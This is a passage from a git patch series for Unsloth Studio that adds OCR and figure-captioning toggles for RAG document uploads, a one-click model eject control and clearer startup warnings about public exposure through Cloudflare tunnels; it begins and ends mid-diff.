+        status = "pending",
+        stored_path = str(src),
+    )
+    job_id = ingestion._new_job(rag_conn, document_id, scope)
+    ingestion._run(job_id, document_id, scope, str(src), None)
+
+    doc = store.get_document(rag_conn, document_id)
+    assert doc["status"] == "completed"
+    assert doc["num_chunks"] >= 2  # the doc chunked into multiple pieces
+
+    result = inf_tools.build_rag_autoinject(_convo(), {"thread_id": "t1"})
+    assert result is not None
+    injected = _injected_text(result)
+    # Opening and ending both present -> the whole file reached the model.
+    assert "Revenue rose" in injected
+    assert "xyzzy-sentinel" in injected
+    # Every stored chunk is represented as a numbered block.
+    assert injected.count("<chunk id=") == doc["num_chunks"]
diff --git a/studio/frontend/src/features/chat/api/chat-adapter.ts b/studio/frontend/src/features/chat/api/chat-adapter.ts
index ca7ac174fc..929c0385b0 100644
--- a/studio/frontend/src/features/chat/api/chat-adapter.ts
+++ b/studio/frontend/src/features/chat/api/chat-adapter.ts
@@ -2728,6 +2728,12 @@ export function createOpenAIStreamAdapter(
                             params.checkpoint,
                           ),
                           autoinject_min_score: ragAutoInjectMinScore,
+
+                          ...(ragAutoInject === "off"
+                            ? { whole_doc: false }
+                            : {}),
+                          context_length:
+                            runtime.ggufContextLength ?? params.maxSeqLength ?? undefined,
                         },
                       }
                     : {}),
diff --git a/studio/frontend/src/features/chat/stores/chat-runtime-store.ts b/studio/frontend/src/features/chat/stores/chat-runtime-store.ts
index ea35a53c4e..ca4bb7afde 100644
--- a/studio/frontend/src/features/chat/stores/chat-runtime-store.ts
+++ b/studio/frontend/src/features/chat/stores/chat-runtime-store.ts
@@ -51,6 +51,8 @@ export const CHAT_RAG_TOP_K_KEY = "unsloth_chat_rag_top_k";
 export const CHAT_RAG_AUTOINJECT_KEY = "unsloth_chat_rag_autoinject";
 export const CHAT_RAG_AUTOINJECT_MIN_SCORE_KEY =
   "unsloth_chat_rag_autoinject_min_score";
+export const CHAT_RAG_OCR_KEY = "unsloth_chat_rag_ocr_scanned";
+export const CHAT_RAG_CAPTION_KEY = "unsloth_chat_rag_caption_figures";
 export const CHAT_SPECULATIVE_TYPE_KEY = "unsloth_chat_speculative_type";
 
 // Persist only the model-agnostic intents (auto/ngram/off). MTP modes
@@ -69,6 +71,12 @@ export const DEFAULT_RAG_TOP_K = 5;
 export type RagAutoInject = "auto" | "on" | "off";
 export const DEFAULT_RAG_AUTOINJECT: RagAutoInject = "auto";
 export const DEFAULT_RAG_AUTOINJECT_MIN_SCORE = 0.7;
+// OCR scanned/image-only PDF pages at ingest time. On by default; off skips the
+// extra vision pass (only matters when the loaded chat model has vision).
+export const DEFAULT_RAG_OCR = true;
+// Describe figures/charts in PDFs at ingest time so they become searchable. On by
+// default (no-op without a vision model); off skips the per-figure vision calls.
+export const DEFAULT_RAG_CAPTION = true;
 
 function loadRagSource(): RagSource {
   if (typeof window === "undefined") return DEFAULT_RAG_SOURCE;
@@ -592,6 +600,10 @@ type ChatRuntimeStore = {
   // autoInject = forced first-pass retrieval before answering.
   ragAutoInject: RagAutoInject;
   ragAutoInjectMinScore: number;
+  // OCR scanned/image-only PDF pages at ingest time (vision model required).
+  ragOcrScanned: boolean;
+  // Describe figures/charts at ingest time (vision model required).
+  ragCaptionFigures: boolean;
   /**
    * When on, local Studio tool calls pause for an explicit allow/deny in the
    * chat before they run.
@@ -757,6 +769,8 @@ type ChatRuntimeStore = {
   setRagTopK: (topK: number) => void;
   setRagAutoInject: (value: RagAutoInject) => void;
   setRagAutoInjectMinScore: (score: number) => void;
+  setRagOcrScanned: (enabled: boolean) => void;
+  setRagCaptionFigures: (enabled: boolean) => void;
   setToolStatus: (status: string | null) => void;
   setGeneratingStatus: (status: string | null) => void;
   setActiveDiffusionCanvas: (canvas: DiffusionCanvasFrame | null) => void;
@@ -1077,6 +1091,8 @@ export const useChatRuntimeStore = create<ChatRuntimeStore>((set, get) => ({
     DEFAULT_RAG_AUTOINJECT_MIN_SCORE,
     { min: 0, max: 1 },
   ),
+  ragOcrScanned: loadBool(CHAT_RAG_OCR_KEY, DEFAULT_RAG_OCR),
+  ragCaptionFigures: loadBool(CHAT_RAG_CAPTION_KEY, DEFAULT_RAG_CAPTION),
   toolStatus: null,
   generatingStatus: null,
   activeDiffusionCanvas: null,
@@ -1498,6 +1514,16 @@ export const useChatRuntimeStore = create<ChatRuntimeStore>((set, get) => ({
       );
       return { ragAutoInjectMinScore };
     }),
+  setRagOcrScanned: (ragOcrScanned) =>
+    set(() => {
+      saveBool(CHAT_RAG_OCR_KEY, ragOcrScanned);
+      return { ragOcrScanned };
+    }),
+  setRagCaptionFigures: (ragCaptionFigures) =>
+    set(() => {
+      saveBool(CHAT_RAG_CAPTION_KEY, ragCaptionFigures);
+      return { ragCaptionFigures };
+    }),
   setToolStatus: (toolStatus) => set({ toolStatus }),
   setActiveDiffusionCanvas: (activeDiffusionCanvas) =>
     set({ activeDiffusionCanvas }),
diff --git a/studio/frontend/src/features/chat/types/api.ts b/studio/frontend/src/features/chat/types/api.ts
index b8391e31e7..412f35d1a0 100644
--- a/studio/frontend/src/features/chat/types/api.ts
+++ b/studio/frontend/src/features/chat/types/api.ts
@@ -350,6 +350,9 @@ export interface OpenAIChatCompletionsRequest {
     mode: "hybrid" | "lexical" | "dense";
     autoinject?: boolean;
     autoinject_min_score?: number;
+
+    whole_doc?: boolean;
+    context_length?: number;
   };
   auto_heal_tool_calls?: boolean;
   max_tool_calls_per_message?: number;
diff --git a/studio/frontend/src/features/rag/api/rag-api.ts b/studio/frontend/src/features/rag/api/rag-api.ts
index b1215d2d46..20800230b5 100644
--- a/studio/frontend/src/features/rag/api/rag-api.ts
+++ b/studio/frontend/src/features/rag/api/rag-api.ts
@@ -39,9 +39,17 @@ async function ragRequest<T>(
   return json as T;
 }
 
-async function ragUpload(path: string, file: File): Promise<DocumentUploadResult> {
+async function ragUpload(
+  path: string,
+  file: File,
+  ocr?: boolean,
+  caption?: boolean,
+): Promise<DocumentUploadResult> {
   const form = new FormData();
   form.append("file", file);
+  // Per-upload overrides for the vision passes; omitted -> backend config default.
+  if (ocr !== undefined) form.append("ocr", String(ocr));
+  if (caption !== undefined) form.append("caption", String(caption));
   // No Content-Type: let the browser set the multipart boundary.
   const response = await authFetch(`${RAG_BASE}${path}`, {
     method: "POST",
@@ -103,10 +111,14 @@ export async function listKnowledgeBaseDocuments(
 export function uploadKnowledgeBaseDocument(
   kbId: string,
   file: File,
+  ocr?: boolean,
+  caption?: boolean,
 ): Promise<DocumentUploadResult> {
   return ragUpload(
     `/knowledge-bases/${encodeURIComponent(kbId)}/documents`,
     file,
+    ocr,
+    caption,
   );
 }
 
@@ -122,8 +134,15 @@ export async function listThreadDocuments(
 export function uploadThreadDocument(
   threadId: string,
   file: File,
+  ocr?: boolean,
+  caption?: boolean,
 ): Promise<DocumentUploadResult> {
-  return ragUpload(`/threads/${encodeURIComponent(threadId)}/documents`, file);
+  return ragUpload(
+    `/threads/${encodeURIComponent(threadId)}/documents`,
+    file,
+    ocr,
+    caption,
+  );
 }
 
 export async function listProjectDocuments(
@@ -138,8 +157,15 @@ export async function listProjectDocuments(
 export function uploadProjectDocument(
   projectId: string,
   file: File,
+  ocr?: boolean,
+  caption?: boolean,
 ): Promise<DocumentUploadResult> {
-  return ragUpload(`/projects/${encodeURIComponent(projectId)}/documents`, file);
+  return ragUpload(
+    `/projects/${encodeURIComponent(projectId)}/documents`,
+    file,
+    ocr,
+    caption,
+  );
 }
 
 // Cached "does this project have indexed sources?" probe so the chat adapter can
diff --git a/studio/frontend/src/features/rag/components/retrieval-settings-section.tsx b/studio/frontend/src/features/rag/components/retrieval-settings-section.tsx
index 103ed5c8e8..be791b8e6d 100644
--- a/studio/frontend/src/features/rag/components/retrieval-settings-section.tsx
+++ b/studio/frontend/src/features/rag/components/retrieval-settings-section.tsx
@@ -9,6 +9,7 @@ import {
   SelectValue,
 } from "@/components/ui/select";
 import { Slider } from "@/components/ui/slider";
+import { Switch } from "@/components/ui/switch";
 import { ToggleGroup, ToggleGroupItem } from "@/components/ui/toggle-group";
 import {
   Tooltip,
@@ -109,6 +110,12 @@ export function RetrievalSettingsSection() {
   const setRagAutoInjectMinScore = useChatRuntimeStore(
     (s) => s.setRagAutoInjectMinScore,
   );
+  const ragOcrScanned = useChatRuntimeStore((s) => s.ragOcrScanned);
+  const setRagOcrScanned = useChatRuntimeStore((s) => s.setRagOcrScanned);
+  const ragCaptionFigures = useChatRuntimeStore((s) => s.ragCaptionFigures);
+  const setRagCaptionFigures = useChatRuntimeStore(
+    (s) => s.setRagCaptionFigures,
+  );
 
   return (
     <div className="flex flex-col gap-5 pt-1">
@@ -202,6 +209,51 @@ export function RetrievalSettingsSection() {
           format={(v) => v.toFixed(2)}
         />
       </div>
+
+      <div className="flex items-start justify-between gap-3">
+        <div className="flex flex-col">
+          <span className="flex items-center gap-1.5 text-[13px] font-medium leading-[1.25] tracking-nav text-nav-fg">
+            OCR scanned pages
+            <InfoHint>
+              Read text off scanned or image-only PDF pages with the loaded
+              model's vision, at upload time, so picture-only documents become
+              searchable. Needs a vision model; pages with a text layer are
+              unaffected.
+            </InfoHint>
+          </span>
+          <span className="text-[12px] leading-[1.3] text-muted-foreground">
+            Transcribe image-only PDF pages when attaching.
+          </span>
+        </div>
+        <Switch
+          checked={ragOcrScanned}
+          onCheckedChange={setRagOcrScanned}
+          aria-label="OCR scanned pages"
+          className="mt-0.5"
+        />
+      </div>
+
+      <div className="flex items-start justify-between gap-3">
+        <div className="flex flex-col">
+          <span className="flex items-center gap-1.5 text-[13px] font-medium leading-[1.25] tracking-nav text-nav-fg">
+            Describe figures &amp; charts
+            <InfoHint>
+              Caption PDF figures, charts, tables and diagrams at upload with the
+              loaded model's vision, so their content becomes searchable. Needs a
+              vision model; adds vision calls for detected figures.
+            </InfoHint>
+          </span>
+          <span className="text-[12px] leading-[1.3] text-muted-foreground">
+            Read charts and diagrams when attaching.
+          </span>
+        </div>
+        <Switch
+          checked={ragCaptionFigures}
+          onCheckedChange={setRagCaptionFigures}
+          aria-label="Describe figures and charts"
+          className="mt-0.5"
+        />
+      </div>
     </div>
   );
 }
diff --git a/studio/frontend/src/features/rag/components/use-rag-documents.ts b/studio/frontend/src/features/rag/components/use-rag-documents.ts
index 488d9ed6d0..8e756b2782 100644
--- a/studio/frontend/src/features/rag/components/use-rag-documents.ts
+++ b/studio/frontend/src/features/rag/components/use-rag-documents.ts
@@ -2,6 +2,12 @@
 // Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
 import { useCallback, useEffect, useRef, useState } from "react";
+import { useChatRuntimeStore } from "@/features/chat";
+
+import {
+  CHAT_RAG_CAPTION_KEY,
+  CHAT_RAG_OCR_KEY,
+} from "@/features/chat/stores/chat-runtime-store";
 import { toast } from "@/lib/toast";
 import {
   deleteDocument,
@@ -45,13 +51,19 @@ export function useRagDocuments(
   }, [documents]);
   // documentId -> signature; forgotten on delete, cleared on scope change.
   const sigByDocId = useRef<Map<string, string>>(new Map());
-  const sigAttached = useCallback(
-    (sig: string) => {
-      for (const s of sigByDocId.current.values()) if (s === sig) return true;
-      return false;
-    },
-    [],
-  );
+  // Skip a re-selected file only if a matching doc is healthy or still indexing. A doc
+  // that completed with 0 chunks is re-ingestable (e.g. a scan attached before a vision
+  // model loaded); the backend re-ingests on the same hash, so let it through.
+  const sigBlocksReupload = useCallback((sig: string) => {
+    const ids = new Set<string>();
+    for (const [id, s] of sigByDocId.current) if (s === sig) ids.add(id);
+    if (ids.size === 0) return false;
+    const docs = documentsRef.current.filter((d) => ids.has(d.id));
+    if (docs.length === 0) return false; // sig tracked but doc gone -> allow re-upload
+    return docs.some(
+      (d) => d.status !== "completed" || (d.numChunks ?? 0) > 0,
+    );
+  }, []);
   // True while upload() runs, so the scope-change effect can tell a real switch
   // from lazy thread materialization mid-upload (which must not reset).
   const uploadInFlightRef = useRef(false);
@@ -82,7 +94,11 @@ export function useRagDocuments(
       const controller = new AbortController();
       trackedJobs.current.set(jobId, controller);
 
-      const finish = (status: DocumentStatus, error?: string | null) => {
+      const finish = (
+        status: DocumentStatus,
+        error?: string | null,
+        numChunks?: number | null,
+      ) => {
         if (status === "failed") {
           // Drop the chip rather than show "Failed"; warn via toast.
           sigByDocId.current.delete(documentId);
@@ -91,7 +107,14 @@ export function useRagDocuments(
             description: error ?? "Indexing failed",
           });
         } else {
-          patchDoc(documentId, { status, error: null, progress: 1 });
+          // Record numChunks so re-selecting this file dedups (vs a 0-chunk doc, which
+          // stays re-ingestable); the SSE "complete" frame carries it.
+          patchDoc(documentId, {
+            status,
+            error: null,
+            progress: 1,
+            ...(numChunks != null ? { numChunks } : {}),
+          });
         }
         trackedJobs.current.delete(jobId);
       };
@@ -105,7 +128,7 @@ export function useRagDocuments(
                 progress: ev.progress ?? null,
               });
             } else if (ev.type === "complete") {
-              finish("completed");
+              finish("completed", null, ev.num_chunks);
               return;
             } else if (ev.type === "error") {
               finish("failed", ev.error ?? "Indexing failed");
@@ -121,6 +144,7 @@ export function useRagDocuments(
                 ? "failed"
                 : "completed",
             job.error,
+            job.numChunks,
           );
         } catch {
           if (controller.signal.aborted) {
@@ -132,7 +156,8 @@ export function useRagDocuments(
             for (let i = 0; i < 600; i++) {
               if (controller.signal.aborted) break;
               const job = await getJob(jobId);
-              if (job.status === "completed") return finish("completed");
+              if (job.status === "completed")
+                return finish("completed", null, job.numChunks);
               if (job.status === "failed") {
                 return finish("failed", job.error ?? "Indexing failed");
               }
@@ -231,12 +256,21 @@ export function useRagDocuments(
       tempId: string,
     ) => {
       try {
+        // Send vision-pass overrides only after the user has explicitly set them;
+        // otherwise backend env defaults own the ingest policy.
+        const state = useChatRuntimeStore.getState();
+        const hasLocal = (key: string) =>
+          typeof window !== "undefined" && window.localStorage.getItem(key) !== null;
+        const ocr = hasLocal(CHAT_RAG_OCR_KEY) ? state.ragOcrScanned : undefined;
+        const caption = hasLocal(CHAT_RAG_CAPTION_KEY)
+          ? state.ragCaptionFigures
+          : undefined;
         const result =
           activeScope.type === "kb"
-            ? await uploadKnowledgeBaseDocument(activeScope.kbId, file)
+            ? await uploadKnowledgeBaseDocument(activeScope.kbId, file, ocr, caption)
             : activeScope.type === "project"
-              ? await uploadProjectDocument(activeScope.projectId, file)
-              : await uploadThreadDocument(activeScope.threadId, file);
+              ? await uploadProjectDocument(activeScope.projectId, file, ocr, caption)
+              : await uploadThreadDocument(activeScope.threadId, file, ocr, caption);
         sigByDocId.current.set(result.documentId, fileSignature(file));
         if (seenIds.has(result.documentId)) {
           setDocuments((rows) => rows.filter((row) => row.id !== tempId));
@@ -286,7 +320,7 @@ export function useRagDocuments(
         // one look like nothing happened. Dedup re-selections up front.
         const fresh: Array<{ tempId: string; file: File }> = [];
         for (const file of Array.from(files)) {
-          if (sigAttached(fileSignature(file))) {
+          if (sigBlocksReupload(fileSignature(file))) {
             toast.info(`${file.name} is already indexed - skipping`);
             continue;
           }
@@ -332,7 +366,7 @@ export function useRagDocuments(
         uploadInFlightRef.current = false;
       }
     },
-    [scope, uploadOne, sigAttached],
+    [scope, uploadOne, sigBlocksReupload],
   );
 
   const remove = useCallback(
diff --git a/studio/frontend/src/features/rag/types/rag.ts b/studio/frontend/src/features/rag/types/rag.ts
index d01854f5a7..1277500ae6 100644
--- a/studio/frontend/src/features/rag/types/rag.ts
+++ b/studio/frontend/src/features/rag/types/rag.ts
@@ -39,6 +39,7 @@ export interface IndexJob {
   stage?: string | null;
   progress?: number | null;
   error?: string | null;
+  numChunks?: number | null;
 }
 
 /** One SSE frame from /jobs/{jobId}/events. */
@@ -47,6 +48,7 @@ export interface JobEvent {
   stage?: string | null;
   progress?: number | null;
   error?: string | null;
+  num_chunks?: number | null;
 }
 
 /** Coords 0..1, top-left origin. */

From 0a3e5a3172fc058680deccb6a94669dac2d487e9 Mon Sep 17 00:00:00 2001
From: Michael Han <107991372+shimmyshimmer@users.noreply.github.com>
Date: Tue, 30 Jun 2026 07:52:03 -0700
Subject: [PATCH 158/306] Studio: quick eject from the model selector (#6654)

* Studio: quick eject from the model selector

Add a one-click eject shortcut to the loaded-model pill so users do not
have to open the picker to unload a model.

- The loaded-status indicator shows a green checkmark at rest and swaps to
  a red eject icon on pill hover, with an "Eject model" tooltip. Clicking
  it ejects without opening the picker.
- On Device tab now uses the placeholder "Search local models" instead of
  "Search Unsloth models".
- The picker's "Eject model" button uses medium font weight.

* Studio: drop unused group/eject marker class on the eject control

* Studio: make the inline eject control valid HTML

The eject shortcut was a focusable span (role/tabIndex) nested inside the
trigger button. A button's content model forbids focusable descendants, so
make it a plain decorative span (aria-hidden, no role/tabIndex) that keeps
the mouse shortcut. Keyboard and screen-reader users eject via the picker's
"Eject model" button.

* Studio: disable the inline eject shortcut on touch devices

On touch (no hover) the red eject icon and title tooltip never reveal, so
tapping the loaded pill could unload the model with no visible affordance.
Add [@media(hover:none)]:pointer-events-none so taps fall through to the
trigger and open the picker; touch users eject from the picker instead.

---------

Co-authored-by: shimmyshimmer <shimmyshimmer@users.noreply.github.com>
Co-authored-by: Wasim Yousef Said <wasimysdev@gmail.com>
---
 .../assistant-ui/model-selector.tsx           | 56 ++++++++++++++++---
 .../assistant-ui/model-selector/pickers.tsx   |  8 ++-
 2 files changed, 55 insertions(+), 9 deletions(-)

diff --git a/studio/frontend/src/components/assistant-ui/model-selector.tsx b/studio/frontend/src/components/assistant-ui/model-selector.tsx
index 8938f4dda7..1fddf077ba 100644
--- a/studio/frontend/src/components/assistant-ui/model-selector.tsx
+++ b/studio/frontend/src/components/assistant-ui/model-selector.tsx
@@ -14,6 +14,7 @@ import { isCustomProviderType } from "@/features/chat/external-providers";
 import { ChevronDownStandardIcon } from "@/lib/chevron-icons";
 import { cn } from "@/lib/utils";
 import {
+  CheckmarkCircle02Icon,
   CloudIcon,
   DashboardSquare01Icon,
   Download01Icon,
@@ -146,6 +147,7 @@ function ModelSelectorTrigger({
   size = "default",
   className,
   dataTour,
+  onEject,
 }: {
   currentModel?: ModelOption;
   isLoaded: boolean;
@@ -154,6 +156,7 @@ function ModelSelectorTrigger({
   size?: "sm" | "default" | "lg";
   className?: string;
   dataTour?: string;
+  onEject?: () => void;
 }) {
   return (
     <PopoverTrigger asChild={true}>
@@ -161,12 +164,15 @@ function ModelSelectorTrigger({
         type="button"
         data-tour={dataTour}
         className={cn(
-          "unsloth-model-selector-trigger flex min-w-0 items-center gap-2 transition-colors",
+          "unsloth-model-selector-trigger group/trigger flex min-w-0 items-center gap-2 transition-colors",
+          // Suppress the pill's hover background while the eject hit area is
+          // hovered, so only the dot's own circle reacts.
           variant === "outline" &&
-            "rounded-full border border-border/60 hover:bg-[#ececec] dark:hover:bg-[#2d2e32]",
+            "rounded-full border border-border/60 hover:bg-[#ececec] has-[[data-eject-hit]:hover]:!bg-transparent dark:hover:bg-[#2d2e32]",
           variant === "ghost" &&
-            "rounded-full hover:bg-[#ececec] dark:hover:bg-[#2d2e32]",
-          variant === "muted" && "rounded-full bg-muted hover:bg-muted/80",
+            "rounded-full hover:bg-[#ececec] has-[[data-eject-hit]:hover]:!bg-transparent dark:hover:bg-[#2d2e32]",
+          variant === "muted" &&
+            "rounded-full bg-muted hover:bg-muted/80 has-[[data-eject-hit]:hover]:!bg-muted",
           // More left padding than right; the chevron is pulled close to the
           // label (below) so the trigger reads balanced around the text.
           size === "sm" && "h-8 pl-3 pr-1.5 text-xs",
@@ -175,9 +181,44 @@ function ModelSelectorTrigger({
           className,
         )}
       >
-        {isLoaded && (
-          <span className="size-2 shrink-0 rounded-full bg-emerald-500" />
-        )}
+        {isLoaded &&
+          (onEject ? (
+            // Loaded status doubles as a mouse eject shortcut: green checkmark
+            // at rest, red eject icon on pill hover, click to eject. A plain
+            // span (no role/tabIndex) keeps it out of the trigger button's
+            // content model, which forbids focusable descendants. Keyboard and
+            // screen-reader users eject via the picker's "Eject model" button.
+            // aria-hidden marks it decorative; stopPropagation stops the
+            // popover from toggling. On touch (no hover) the eject icon and
+            // tooltip never reveal, so pointer-events-none disables the
+            // shortcut there and taps open the picker instead of ejecting.
+            <span
+              aria-hidden={true}
+              title="Eject model"
+              data-eject-hit={true}
+              onPointerDown={(event) => event.stopPropagation()}
+              onClick={(event) => {
+                event.stopPropagation();
+                onEject();
+              }}
+              // Hit area larger than the icon, with a hover circle. Negative
+              // margin keeps the icon in the dot's original spot.
+              className="-m-1 flex size-5 shrink-0 cursor-pointer items-center justify-center rounded-full transition-colors hover:bg-black/10 dark:hover:bg-white/10 [@media(hover:none)]:pointer-events-none"
+            >
+              <HugeiconsIcon
+                icon={CheckmarkCircle02Icon}
+                strokeWidth={1.75}
+                className="size-3.5 text-emerald-500 group-hover/trigger:hidden"
+              />
+              <HugeiconsIcon
+                icon={RemoveCircleIcon}
+                strokeWidth={1.75}
+                className="hidden size-3.5 text-red-500 group-hover/trigger:block"
+              />
+            </span>
+          ) : (
+            <span className="size-2 shrink-0 rounded-full bg-emerald-500" />
+          ))}
         {currentModel?.icon ? (
           <span className="flex shrink-0 items-center">
             {currentModel.icon}
@@ -644,6 +685,7 @@ export function ModelSelector({
         size={size}
         className={className}
         dataTour={triggerDataTour}
+        onEject={onEject ? handleEject : undefined}
       />
       <ModelSelectorContent
         open={open}
diff --git a/studio/frontend/src/components/assistant-ui/model-selector/pickers.tsx b/studio/frontend/src/components/assistant-ui/model-selector/pickers.tsx
index 5f5d112204..4a79904e3b 100644
--- a/studio/frontend/src/components/assistant-ui/model-selector/pickers.tsx
+++ b/studio/frontend/src/components/assistant-ui/model-selector/pickers.tsx
@@ -2400,7 +2400,11 @@ export function HubModelPicker({
           <Input
             value={query}
             onChange={(event) => setQuery(event.target.value)}
-            placeholder="Search Unsloth models"
+            placeholder={
+              section === "downloaded"
+                ? "Search local models"
+                : "Search Unsloth models"
+            }
             data-model-picker-search-input={true}
             className="field-soft h-9 border-0 pl-8 pr-8"
           />
@@ -3447,7 +3451,7 @@ export function HubModelPicker({
           <button
             type="button"
             onClick={onEject}
-            className="pointer-events-auto inline-flex items-center justify-center gap-2 rounded-md bg-popover px-3 py-2 text-[13px] text-destructive shadow-[0_2px_8px_-2px_rgba(0,0,0,0.16)] transition-colors hover:bg-[color-mix(in_srgb,var(--destructive)_12%,var(--popover))] dark:bg-[color-mix(in_srgb,var(--foreground)_10%,var(--sidebar))] dark:shadow-none dark:hover:bg-[color-mix(in_srgb,var(--destructive)_22%,var(--sidebar))]"
+            className="pointer-events-auto inline-flex items-center justify-center gap-2 rounded-md bg-popover px-3 py-2 text-[13px] font-medium text-destructive shadow-[0_2px_8px_-2px_rgba(0,0,0,0.16)] transition-colors hover:bg-[color-mix(in_srgb,var(--destructive)_12%,var(--popover))] dark:bg-[color-mix(in_srgb,var(--foreground)_10%,var(--sidebar))] dark:shadow-none dark:hover:bg-[color-mix(in_srgb,var(--destructive)_22%,var(--sidebar))]"
             title="Eject model"
           >
             <HugeiconsIcon icon={RemoveCircleIcon} className="size-3.5" />

From b72a8c42636a249419bea27e195815f0c8804232 Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Tue, 30 Jun 2026 08:47:48 -0700
Subject: [PATCH 159/306] studio: explicit Cloudflare tunnel notice and
 public-exposure warning at startup (#6515)

* studio: announce Cloudflare tunnel state and warn about public exposure on startup

The startup banner only printed a line when a tunnel URL was up, so a plain
`unsloth studio -H 0.0.0.0` launch silently created a public trycloudflare.com
URL with no indication that Studio had become reachable from the internet. The
only hint at the tunnel was the CLI help, shown when an invalid command was typed.

Make the banner always state the tunnel state for wildcard binds:
- ON: the public URL plus a warning that anyone with it can reach Studio from
  outside the network, and that --no-cloudflare keeps it local-only.
- FAILED: requested but did not start (local network only).
- OFF: --no-cloudflare was passed (local network only).
Secure mode keeps its existing wording (the authenticated tunnel is intended and
--no-cloudflare is not valid there). Clarify the --cloudflare help text in both
the argparse and typer definitions. Default behavior is unchanged.

Also surface the state on the `unsloth studio run` banner, which runs the server
with silent=True and prints its own banner: it now calls _print_cloudflare_line
too, so the ON/OFF/FAILED notice and public-exposure warning are no longer
skipped on that path (previously it only echoed the URL when a tunnel was up).

For the OFF and FAILED notices, do not claim "local network only" when the
reachability probe just confirmed the raw port is reachable from the public
internet: --no-cloudflare and a failed tunnel disable only the Cloudflare link,
not the wildcard bind, so the message is reworded to flag the public raw port.

* Fix/adjust Cloudflare banner warnings for PR #6515

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Fix/adjust Cloudflare banner comments for PR #6515

* Fix/adjust IPv6 Cloudflare tunnel gate for PR #6515

* Fix/adjust Cloudflare review comments for PR #6515

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Fix silent run Cloudflare notice

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

---------

Co-authored-by: wasimysaid <wasimysdev@gmail.com>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
---
 studio/backend/run.py                         | 161 ++++++++++++---
 .../backend/tests/test_cloudflare_tunnel.py   | 193 ++++++++++++++++--
 .../backend/tests/test_secure_tunnel_gate.py  |   8 +-
 tests/studio/install/test_selection_logic.py  |   1 +
 unsloth_cli/commands/studio.py                |  54 ++++-
 .../tests/test_studio_cloudflare_flag.py      | 115 +++++++++++
 6 files changed, 470 insertions(+), 62 deletions(-)

diff --git a/studio/backend/run.py b/studio/backend/run.py
index 6f36f0928a..ccd0113972 100644
--- a/studio/backend/run.py
+++ b/studio/backend/run.py
@@ -253,12 +253,13 @@ def _verify_global_reachability(display_host: str, port: int) -> None:
     local_url_c = "\033[38;5;108;1m" if use_color else ""  # matches banner's URL color
     reset = "\033[0m" if use_color else ""
 
-    url = f"http://{display_host}:{port}"
+    url = f"http://{_url_host(display_host)}:{port}"
 
     # Private/loopback/link-local addresses aren't globally routable.
     try:
         addr = ipaddress.ip_address(display_host)
         if addr.is_loopback or addr.is_private or addr.is_link_local:
+            _public_reachable = False
             print(
                 f"{dim}  Note: {display_host} is a private/LAN address -- "
                 f"reachable on this network only, not from the public internet."
@@ -380,6 +381,20 @@ def _verify_global_reachability(display_host: str, port: int) -> None:
         pass
 
 
+def _display_host_for_bind(host: str) -> str:
+    return _resolve_external_ip() if host in ("0.0.0.0", "::") else host
+
+
+def _loopback_bind_host_for(host: str) -> str:
+    return "::1" if host == "::" else "127.0.0.1"
+
+
+def _url_host(host: str) -> str:
+    return (
+        f"[{host}]" if ":" in host and not (host.startswith("[") and host.endswith("]")) else host
+    )
+
+
 def _tool_policy_notice(host: str, secure: bool, enable_tools: "Optional[bool]") -> str:
     """One-line tool-policy summary for the plain-server startup banner, so a
     network-reachable launch is never silent about code execution."""
@@ -416,7 +431,7 @@ def _emit_secure_startup_output(port: int, enable_tools: "Optional[bool]" = None
     print("")
     print("🦥 Unsloth Studio is running (secure)")
     print("─" * 52)
-    _print_cloudflare_line()
+    _print_cloudflare_line(secure = True)
     print(f"  On this machine only: http://127.0.0.1:{port}/")
     print("─" * 52)
     _emit_tool_policy_notice("127.0.0.1", True, enable_tools)
@@ -447,30 +462,108 @@ def _emit_startup_output(
         _print_localhost_ipv6_mismatch_warning(localhost_mismatch_url, port)
     elif wildcard_bind:
         _verify_global_reachability(display_host, port)
-        _print_cloudflare_line()
+        _print_cloudflare_line(loopback_host = _loopback_bind_host_for(host))
     _emit_tool_policy_notice(host, False, enable_tools)
     print_studio_stop_hint()
 
 
-def _print_cloudflare_line() -> None:
-    """Print the Cloudflare quick-tunnel URL for 0.0.0.0 binds, if one is up.
-
-    Reads the module-level URL set by ``run_server``. Prints nothing when the
-    tunnel is disabled or failed -- failures are silently ignored. When the public
-    reachability probe just failed (``_public_reachable is False``) but the tunnel
-    is up, reword to point the user at the Cloudflare link as the way in.
-    """
-    if not _cloudflare_url:
-        return
+def _print_cloudflare_line(secure: bool = False, loopback_host: str = "127.0.0.1") -> None:
+    """Print Cloudflare tunnel state for startup banners."""
     from startup_banner import stdout_supports_color
 
     accent = "\033[38;5;150;1m"
+    warn = "\033[38;5;215;1m"
     reset = "\033[0m"
-    if _public_reachable is False:
-        line = f"  Use the secure link access via Cloudflare instead: {_cloudflare_url}"
-    else:
-        line = f"  Secure link access via Cloudflare: {_cloudflare_url}"
-    print(f"{accent}{line}{reset}" if stdout_supports_color() else line)
+    color = stdout_supports_color()
+
+    def _emit(text: str, style: str = "") -> None:
+        print(f"{style}{text}{reset}" if (color and style) else text)
+
+    if _cloudflare_url:
+        if _public_reachable is False:
+            _emit(f"  Use the secure link access via Cloudflare instead: {_cloudflare_url}", accent)
+        else:
+            _emit(f"  Secure link access via Cloudflare: {_cloudflare_url}", accent)
+        if not secure:
+            if _public_reachable is True:
+                _emit(
+                    "  Cloudflare tunnel: ON. This Cloudflare URL is PUBLIC, and the "
+                    "raw port is also publicly reachable. --no-cloudflare disables "
+                    f"only the Cloudflare URL; bind {loopback_host} or close firewall "
+                    "access to keep Studio private.",
+                    warn,
+                )
+            else:
+                _emit(
+                    "  Cloudflare tunnel: ON. This is a PUBLIC internet URL: anyone "
+                    "who has it can reach this Studio. Relaunch with --no-cloudflare "
+                    f"to disable the Cloudflare URL; bind {loopback_host} or close "
+                    "firewall access to keep Studio private.",
+                    warn,
+                )
+        return
+    if _cloudflare_requested:
+        if _public_reachable is True:
+            _emit(
+                "  Cloudflare tunnel: requested but failed to start. The raw port is "
+                "still reachable from the public internet (see the reachability check "
+                "above): anyone who can reach it can access this Studio.",
+                warn,
+            )
+        elif _public_reachable is False:
+            _emit(
+                "  Cloudflare tunnel: requested but failed to start. Studio is reachable "
